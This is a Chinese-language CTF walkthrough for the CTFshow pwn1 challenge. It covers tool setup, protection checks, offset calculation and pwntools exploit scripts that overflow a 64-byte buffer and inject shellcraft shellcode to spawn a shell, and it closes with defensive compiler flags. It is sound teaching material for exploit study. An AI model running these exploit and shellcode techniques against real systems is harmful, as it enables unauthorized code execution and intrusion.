CTF-PWN入门：栈溢出漏洞利用实战指南-代码聚汇网

CTF-PWN入门：栈溢出漏洞利用实战指南

CTFPWN栈溢出

|难度：普通|阅读约 16 分钟

1. CTF-PWN入门：从零破解pwn1挑战

第一次接触CTF的二进制题目时，那种既兴奋又茫然的感觉我至今记忆犹新。pwn1作为CTFshow平台的入门题，看似简单却暗藏玄机——它就像一扇精心设计的门，表面只有普通门锁，实则需要你找到藏在门框上方的备用钥匙。这类题目通常考察基础的栈溢出利用，但新手往往会在环境搭建、工具使用和漏洞分析这三个环节连续碰壁。下面我将用最直白的方式，带你完整走一遍从环境准备到最终拿flag的全过程。

注意：本文所有操作均在Ubuntu 20.04 LTS下验证通过，建议使用相同环境避免兼容性问题。如果你还在用Windows，请立即安装WSL2或配置虚拟机——二进制pwn的武器库基本都为Linux设计。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 解题环境与工具链配置

2.1 基础环境搭建

工欲善其事，必先利其器。PWN题目的特殊性决定了我们需要一整套专业工具链：

bash复制# 必备软件包安装
sudo apt update && sudo apt install -y \
    python3 python3-pip python3-dev git libssl-dev libffi-dev \
    build-essential gdb gcc-multilib g++-multilib

# PWN专用工具
pip3 install --upgrade pip
pip3 install pwntools ropper keystone-engine unicorn capstone

这里有个新手必踩的坑：python环境冲突。系统自带的python2和python3混用会导致pwntools报错，我的建议是彻底删除python2相关包，所有操作都在python3环境下进行。如果遇到"ImportError: No module named pwn"这类错误，先检查pip版本是否对应python3：

bash复制python3 -m pip install pwntools  # 明确指定python3环境

2.2 安全机制检查工具

现代Linux系统默认开启多种安全防护机制，我们需要特别关注以下四项：

bash复制# 检查目标程序保护机制
checksec ./pwn1

# 典型输出示例：
[*] '/home/user/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

看到这个输出结果时我眼前一亮——NX disabled意味着栈内存可以执行代码，No canary表示没有栈保护，这简直就是为栈溢出量身定制的漏洞环境。但别高兴太早，CTFshow的题目往往会在输入处理上设置陷阱。

2.3 调试器增强配置

GDB默认配置对二进制分析不太友好，建议安装增强插件：

bash复制# 安装peda增强插件
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

# 安装gef插件（与peda二选一）
wget -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit

我个人的习惯是同时保留peda和gef，通过注释切换使用。gef的heap分析功能更强大，而peda的pattern create/search在栈溢出时更方便。

3. 题目分析与漏洞定位

3.1 基础逆向工程

拿到pwn1二进制文件后，第一步永远是file命令查看基础信息：

bash复制file pwn1
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped

关键信息解读：

32-bit：地址长度为4字节
not stripped：保留符号表，逆向更容易
dynamically linked：需要对应版本的libc

用IDA Pro或Ghidra打开后，立即定位到main函数反编译代码：

c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[64]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to CTFshow PWN!");
  printf("Give me your payload: ");
  read(0, buf, 0x100u);
  return 0;
}

这里暴露出一个典型的栈溢出漏洞：buf数组长度64字节，但read函数允许读取0x100(256)字节。通过覆盖返回地址，我们可以劫持程序执行流。

3.2 偏移量计算

要精确覆盖返回地址，需要知道从缓冲区起始到返回地址的偏移量。有三种常用方法：

静态分析：通过ebp-0x48可知buf起始地址距ebp 72字节，返回地址在ebp+4，因此偏移量为72+4=76字节

动态调试：

bash复制gdb ./pwn1
b *main+0x50  # 在read函数返回后下断点
r <<< $(python3 -c 'print("A"*76 + "BBBB")')

当程序崩溃时查看eip值是否为0x42424242("BBBB")即可验证

pattern工具：

bash复制cyclic 100
cyclic -l 0x6161616c  # 崩溃时查看eip值

我推荐新手先用静态分析确定大致范围，再用动态调试精确验证。记得在gdb中开启core dump以便分析崩溃现场：

bash复制ulimit -c unlimited
echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern

4. 漏洞利用开发

4.1 基础利用脚本框架

使用pwntools构建基础exploit：

python复制from pwn import *

context(arch='i386', os='linux')
# io = process('./pwn1')  # 本地测试
io = remote('pwn.challenge.ctf.show', 12345)  # 实际题目

payload = flat(
    b'A'*76,
    0xdeadbeef  # 待替换为实际目标地址
)

io.sendlineafter(b'payload:', payload)
io.interactive()

4.2 获取shell的三种路径

根据题目防护措施的不同，我们通常有三种思路：

方案一：ret2text（利用程序自带函数）

检查二进制中是否有现成的system调用：

bash复制objdump -d pwn1 | grep system

如果发现system("/bin/sh")这样的代码片段，直接返回到该地址即可。这是最简单的利用方式。

方案二：ret2libc（动态链接库跳转）

当程序本身没有提供shell时，需要泄露libc地址并计算system和/bin/sh的偏移。关键步骤：

通过puts泄露GOT表地址
计算libc基址
构造ROP链调用system("/bin/sh")

典型payload结构：

python复制pop_edi_ret = 0x080484aa  # 通过ROPgadget查找
puts_plt = 0x08048340
puts_got = 0x0804A018

# 第一阶段：泄露地址
payload = flat(
    b'A'*76,
    puts_plt,
    pop_edi_ret,
    puts_got,
    main_addr  # 重新执行main函数
)

方案三：shellcode注入（NX关闭时）

本题NX关闭，最直接的解法就是将shellcode写入栈中并跳转执行：

python复制shellcode = asm(shellcraft.sh())
payload = flat(
    shellcode.ljust(76, b'A'),
    p32(0xffffd100)  # 栈地址，通过gdb调试确定
)

关键技巧：栈地址会受环境变量影响，建议在exp中添加nop sled提高成功率：
python复制shellcode = asm('nop')*100 + asm(shellcraft.sh())

4.3 最终exploit示例

结合题目实际情况，采用shellcode注入方案的完整exp：

python复制#!/usr/bin/env python3
from pwn import *

context(arch='i386', os='linux', log_level='debug')

# io = process('./pwn1')
io = remote('pwn.challenge.ctf.show', 12345)

# 获取栈地址
io.recvuntil(b'payload:')
io.sendline(cyclic(100))
io.wait()
core = Corefile('./core')
esp = core.esp
stack_addr = esp + 0x20  # 经验偏移量
log.success(f"Stack address: {hex(stack_addr)}")

# 构造payload
shellcode = asm(shellcraft.sh())
payload = flat(
    shellcode.ljust(76, b'A'),
    p32(stack_addr)
)

io.sendline(payload)
io.interactive()

5. 实战中的疑难问题解决

5.1 地址随机化(ASLR)应对

现代系统默认开启ASLR，导致栈地址每次变化。解决方法：

泄露栈地址（如通过puts输出某个栈指针值）
使用相对偏移（本题shellcode在payload开头，可以用返回地址附近的固定偏移）
暴力猜解（适用于32位系统，成功率较高）

5.2 输入过滤绕过

有些题目会对输入字符进行过滤，常见绕过技巧：

对shellcode进行编码：msfvenom -p linux/x86/exec -e x86/alpha_mixed
使用可打印字符shellcode
通过ROP链调用mprotect修改内存权限后注入

5.3 远程与本地差异

本地测试成功的exp可能在远程失效，主要原因：

libc版本差异：使用ldd命令对比
环境变量影响：在exp开头添加env = {'PATH': '/bin:/usr/bin'}
网络延迟：添加io = remote(..., timeout=3)设置超时

6. 防御视角的思考

作为开发者，如何避免此类漏洞？几个关键实践：

始终使用安全函数（如fgets替代gets）

编译时开启所有保护：

bash复制gcc -fstack-protector-all -pie -fPIE -Wl,-z,now -o safe safe.c

使用静态分析工具检查：

bash复制sudo apt install flawfinder
flawfinder *.c

在CTFshow的后续题目中，你会遇到越来越复杂的保护机制组合。每道题就像一扇新的门锁，而你的工具包也在不断扩充。记住，pwn的精髓不在于记住某个特定解法，而在于培养系统性分析能力——就像锁匠不是靠背钥匙形状，而是理解锁具的工作原理。